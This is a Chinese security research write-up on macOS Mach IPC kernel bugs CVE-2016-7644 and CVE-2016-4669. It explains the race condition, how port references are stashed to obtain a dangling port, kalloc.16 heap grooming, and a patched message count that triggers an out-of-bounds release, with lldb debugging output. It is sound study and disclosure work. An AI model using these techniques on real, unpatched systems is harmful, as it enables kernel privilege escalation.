作者:mrh
0x00 摘要
本文是第三篇基于漏洞分析來學習Mach IPC的方面知識的記錄。
閱讀順序如下。
1.再看CVE-2016-1757—淺析mach message的使用
3.從CVE-2016-7644回到CVE-2016-4669(本文)
CVE-2016-7644這個漏洞,本身是一個很簡單的漏洞,但是通過一些技巧,可以做一些更有意思的事情。
poc與writeup在這里。
CVE-2016-4669的POC,之前我已經分析過了,詳見CVE-2016-4669分析與調試。在做完這一系列的IPC相關的漏洞研究與學習之后,嘗試的對CVE-2016-4669這個漏洞實現一個提權的利用。
并不能穩定觸發,不過也加深了對內核的內存布局與IPC模塊的理解。代碼在這里。
0x01 CVE-2016-7644 POC分析
漏洞的成因并不復雜,當兩個線程同時調用時,ipc_port_release_send函數可能會被調用兩次。
kern_return_t
set_dp_control_port(
host_priv_t host_priv,
ipc_port_t control_port)
{
if (host_priv == HOST_PRIV_NULL)
return (KERN_INVALID_HOST);
if (IP_VALID(dynamic_pager_control_port))
ipc_port_release_send(dynamic_pager_control_port); <--競爭發生的地方
dynamic_pager_control_port = control_port;
return KERN_SUCCESS;
}
在ipc_port_release_send函數內會修改port的一些屬性,因為兩個線程同時調用,觸發了并發的漏洞,導致了bug的發生。
void
ipc_port_release_send(
ipc_port_t port)
{
ipc_port_t nsrequest = IP_NULL;
mach_port_mscount_t mscount;
if (!IP_VALID(port))
return;
ip_lock(port);
assert(port->ip_srights > 0); <--線程[2] ip_srights == 0,觸發assert,導致內核崩潰
port->ip_srights--;
[...]
ip_unlock(port); <--線程[1] ip_srights已經變為0,且port鎖已經釋放
[...]
}
POC 代碼編譯成功之后,利用shell循環執行就可以觸發內核崩潰,因為是并發的漏洞,所以需要嘗試的次數比較多,手動執行可能很難觸發。
0x02 mach_portal_redist 相關利用代碼分析
通過閱讀mach_portal_redist項目的kernel_sploit.c文件,漏洞的利用總共分為以下幾個部分。
- 獲取內核中指向
port的野指針 - 堆內存的布局
- 通過
UAF獲取kernel port
想要完全理解這幾個部分,就需要了解更多的IPC相關的知識。
2.1 利用流程
通過漏洞獲取一個指向port的野指針,流程大致如下。
//申請port
mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &p);
//在ipc系統中隱藏一個port的reference
stash_port (p) ;
//dynamic_pager_control_port獲取一個port的reference
set_dp_control_port(host_priv, p) ;
// [1] 準備階段結束
//釋放task對port的send right
mach_port_deallocate (p);
//觸發漏洞
race();
//釋放stash_port
free_stashed_ports();
// [2] 獲取port的野指針
2.2 stash_port
當代碼執行到[1]處時,做好了所有觸發漏洞前的準備。我們的port擁有3對right和reference。
通過mach_port_allocate函數的執行,task擁有port的一份right和reference。
通過set_dp_control_port函數的執行,dynamic_pager_control_port擁有port的一份right和reference。
這兩個部分比較容易理解,stash_port的原理較為復雜,利用了IPC系統通過mach message傳遞消息時的特性。
在通過message傳遞一個port right時的流程大致如下。
/*
ipc_kmsg_copyin_body
|
|----> ipc_kmsg_copyin_ool_ports_descriptor
|
|-----> ipc_object_copyin
|
|----> ipc_right_copyin
*/
kern_return_t
ipc_right_copyin(
{
[...]
case MACH_MSG_TYPE_MAKE_SEND: {
if ((bits & MACH_PORT_TYPE_RECEIVE) == 0)
goto invalid_right;
port = (ipc_port_t) entry->ie_object;
assert(port != IP_NULL);
ip_lock(port);
assert(ip_active(port));
assert(port->ip_receiver_name == name);
assert(port->ip_receiver == space);
port->ip_mscount++;
port->ip_srights++; //通過發送數據,但是不從port中讀取出來,使得right和reference都加1
ip_reference(port);
ip_unlock(port);
*objectp = (ipc_object_t) port;
*sorightp = IP_NULL;
break;
}
[...]
}
當代碼通過IPC系統發送一個port right時,port的right和reference都會加1,而在讀取消息時,會把right和reference減1,所以在未調用free_stashed_ports讀取出message之前,就在IPC系統中存放了一份port的引用。
2.3 mach_port_deallocate
調用mach_port_deallocate函數可以釋放目標port的一個RIGHT。我們的port的reference為3,sright是2。
2.4 race
race就是利用了set_dp_control_port函數的漏洞,在并發執行的時,會導致對dynamic_pager_control_port連續兩次調用ipc_port_release_send函數。
ipc_port_release_send每執行一次,會對目標port的sright和reference做出一次減一的操作。這個時候我們的port的reference變成了1,而sright變成了0,以為沒有sendright存在了,所以會產生一個notify,通過這個土整,我們就可以知道成功的發出了條件競爭的漏洞了。
2.5 free_stashed_ports
在stashed_ports_q的消息隊列中還保存著我們傳遞的port,只需要對stashed_ports_q調用mach_port_destroy,因為傳遞的port的reference已經是1了,在處理這個邏輯之后,port在內核中就已經被釋放了,而我們的task中還保存了一個dangling的port。
/*
mach_port_destroy
|
|--->ipc_right_destroy
|
|--->ipc_port_destroy
|
|--->ipc_mqueue_destroy
|
|--->ipc_kmsg_reap_delayed
|
|--->ipc_kmsg_clean_body
*/
調用棧大致如上所示,最核心的邏輯在ipc_kmsg_clean_body函數里實現。
0x03 回到CVE-2016-4669
對CVE-2016-4669的POC和漏洞成因的分析在這里。
沒有了解過這個漏洞的同學可以先了解一下。
經過對IPC模塊一系列的漏洞的分析與學習,我嘗試著對之前分析過的CVE-2016-4669這個漏洞寫一寫利用。
思路大致如下:
- kalloc.16 的內存布局。
- 觸發漏洞,在內存中訪問越界,對其他
port調用ipc_port_release_send。創造dangling port。 - 重用
port,獲得root權限。
3.1 kalloc.16內存布局
在正常的情況下,kalloc.16的某個Page中的內存布局如下圖所示(更多關于內存布局的只是可以查看這里):

- [a]標記出的就是
kalloc.16這個zone中free element。 - [b]是已經被使用的
element,且16個字節都使用到了。 - [c]是已經被使用的
element,但是只用前面八個字節,所有后面8個字節是0xdeadbeefdeadbeef。
因為漏洞會越界訪問,對下個element中的地址調用ipc_port_release_send,所以通過向一個很多的stash port,發送同一個target port的right,在發送完成后再釋放其中一部分得stash port,在kalloc.16的zone中制造觸發漏漏洞的時候使用的free element。
在構造完成后大致如下:

3.2 觸發漏洞
這里要把patch的參數個數從1改成2。
#if UseStaticTemplates
InP->init_port_set = init_port_setTemplate;
InP->init_port_set.address = (void *)(init_port_set);
InP->init_port_set.count = 2;//1; // was init_port_setCnt;
#else /* UseStaticTemplates */
InP->init_port_set.address = (void *)(init_port_set);
InP->init_port_set.count = 2;//1; // was init_port_setCnt;
出發漏洞后,就可以看到內存布局。
簡單的調試流程如下:
先找到mach_ports_register函數第一次調用ipc_port_release_send的地方,并下一個斷點。
0xffffff800b0e22aa <+506>: call 0xffffff800b1c1bd0 ; lck_mtx_unlock
0xffffff800b0e22af <+511>: lea rax, [r15 + 0x1]
0xffffff800b0e22b3 <+515>: cmp rax, 0x2
0xffffff800b0e22b7 <+519>: jb 0xffffff800b0e22c1 ; <+529> at ipc_tt.c:1096
0xffffff800b0e22b9 <+521>: mov rdi, r15
0xffffff800b0e22bc <+524>: call 0xffffff800b0c98f0 ; ipc_port_release_send at ipc_port.c:1560
0xffffff800b0e22c1 <+529>: lea rax, [r13 + 0x1]
0xffffff800b0e22c5 <+533>: cmp rax, 0x2
0xffffff800b0e22c9 <+537>: jb 0xffffff800b0e22d3 ; <+547> at ipc_tt.c:1096
0xffffff800b0e22cb <+539>: mov rdi, r13
0xffffff800b0e22ce <+542>: call 0xffffff800b0c98f0 ; ipc_port_release_send at ipc_port.c:1560
0xffffff800b0e22d3 <+547>: lea rax, [rbx + 0x1]
0xffffff800b0e22d7 <+551>: cmp rax, 0x2
0xffffff800b0e22db <+555>: jb 0xffffff800b0e22e5 ; <+565> at ipc_tt.c:1097
0xffffff800b0e22dd <+557>: mov rdi, rbx
0xffffff800b0e22e0 <+560>: call 0xffffff800b0c98f0 ; ipc_port_release_send at ipc_port.c:1560
(lldb) b *0xffffff800b0e22bc
Breakpoint 1: where = kernel`mach_ports_register + 524 at ipc_tt.c:1097, address = 0xffffff800b0e22bc</span>
然后執行exp程序,一般情況下是第二次命中斷點時,portsCnt=3(第一次命中時portsCnt=1并不是我們的代碼觸發的,可以不管)。內存布局如下:
(lldb) p/x memory
(mach_port_array_t) $10 = 0xffffff80115cf9f0
(lldb) memory read --format x --size 8 --count 50 memory-0x20
[...]
0xffffff80115cf9a0: 0xffffff8013dee0e0 0x0000000000000000 [target_port,NULL]
0xffffff80115cf9b0: 0xffffff8013dee0e0 0x0000000000000000 [target_port,NULL]
0xffffff80115cf9c0: 0xffffff8013dee0e0 0x0000000000000000 [target_port,NULL]
0xffffff80115cf9d0: 0xffffff8013dee0e0 0x0000000000000000 [target_port,NULL]
0xffffff80115cf9e0: 0xffffff8013dee0e0 0x0000000000000000 [target_port,NULL]
0xffffff80115cf9f0: 0xffffff8015f0b680 0x0000000000000000 **[p_self,NULL]**
0xffffff80115cfa00: 0xffffff8013dee0e0 0x0000000000000000 [target_port,NULL]
0xffffff80115cfa10: 0xffffff8013dee0e0 0x0000000000000000 [target_port,NULL]
0xffffff80115cfa20: 0x0000000000000000 0xdeadbeefdeadbeef
0xffffff80115cfa30: 0xffffff8013dee0e0 0x0000000000000000
0xffffff80115cfa40: 0x0000000000000000 0xffffffff00000000
0xffffff80115cfa50: 0xffffff8013dee0e0 0x0000000000000000
0xffffff80115cfa60: 0xffffff8013dee0e0 0x0000000000000000
0xffffff80115cfa70: 0xffffff8013dee0e0 0x0000000000000000</span>
接著,mach_ports_register的邏輯就會越界將0xffffff80115cfa00處的0xffffff8013dee0e0拷到task->itk_registered中去。
for (i = 0; i < TASK_PORT_REGISTER_MAX; i++) {
ipc_port_t old;
old = task->itk_registered[i];
task->itk_registered[i] = ports[i];
ports[i] = old;
}
通過lldb查看ports的狀態。
p *(ipc_port_t)0xffffff8013dee0e0
(ipc_port) $12 = {
ip_object = {
io_bits = 2147483648
io_references = 4057
io_lock_data = (interlock = 0x0000000000000000)
}
[...]
ip_srights = 4056
}
在第二次調用到mach_ports_register的時候,會對他們調用ipc_port_release_send。
//第二次調用mach_ports_register函數時,ports中的數據變成了剛剛存儲的
for (i = 0; i < TASK_PORT_REGISTER_MAX; i++)
if (IP_VALID(ports[i]))
ipc_port_release_send(ports[i]);
這個時候再觀察port在內核中的狀態,機會發現ip_srights和io_references都做了一次減一。
這個時候在釋放掉所有的stashed port就將我們的target port 釋放掉了。因為通過觸發bug多釋放了一次。
- 通過
stashed port創造了4096個reference,釋放掉所有的stashed port就對reference做了4096次減一,通過觸發bug 又多做了一次release,釋放了一開始mach_port_allocate創建的reference。 srights與reference相同。
3.3 重用port
這一步在我的EXP里就是看臉了,成功率并不是很高,沒有找到穩定的利用方法。就不多說什么了,從別的EXP里抄來的代碼。
0x04 小結
到這里整個MACH-IPC相關的漏洞分析與學習就暫時告一段落了。
這篇分析日志,斷斷續續寫了很久,可能思路有點不連貫,有什么問題歡迎大家一起探討:)
本文由 Seebug Paper 發布,如需轉載請注明來源。本文地址:http://www.jmbmsq.com/201/
暫無評論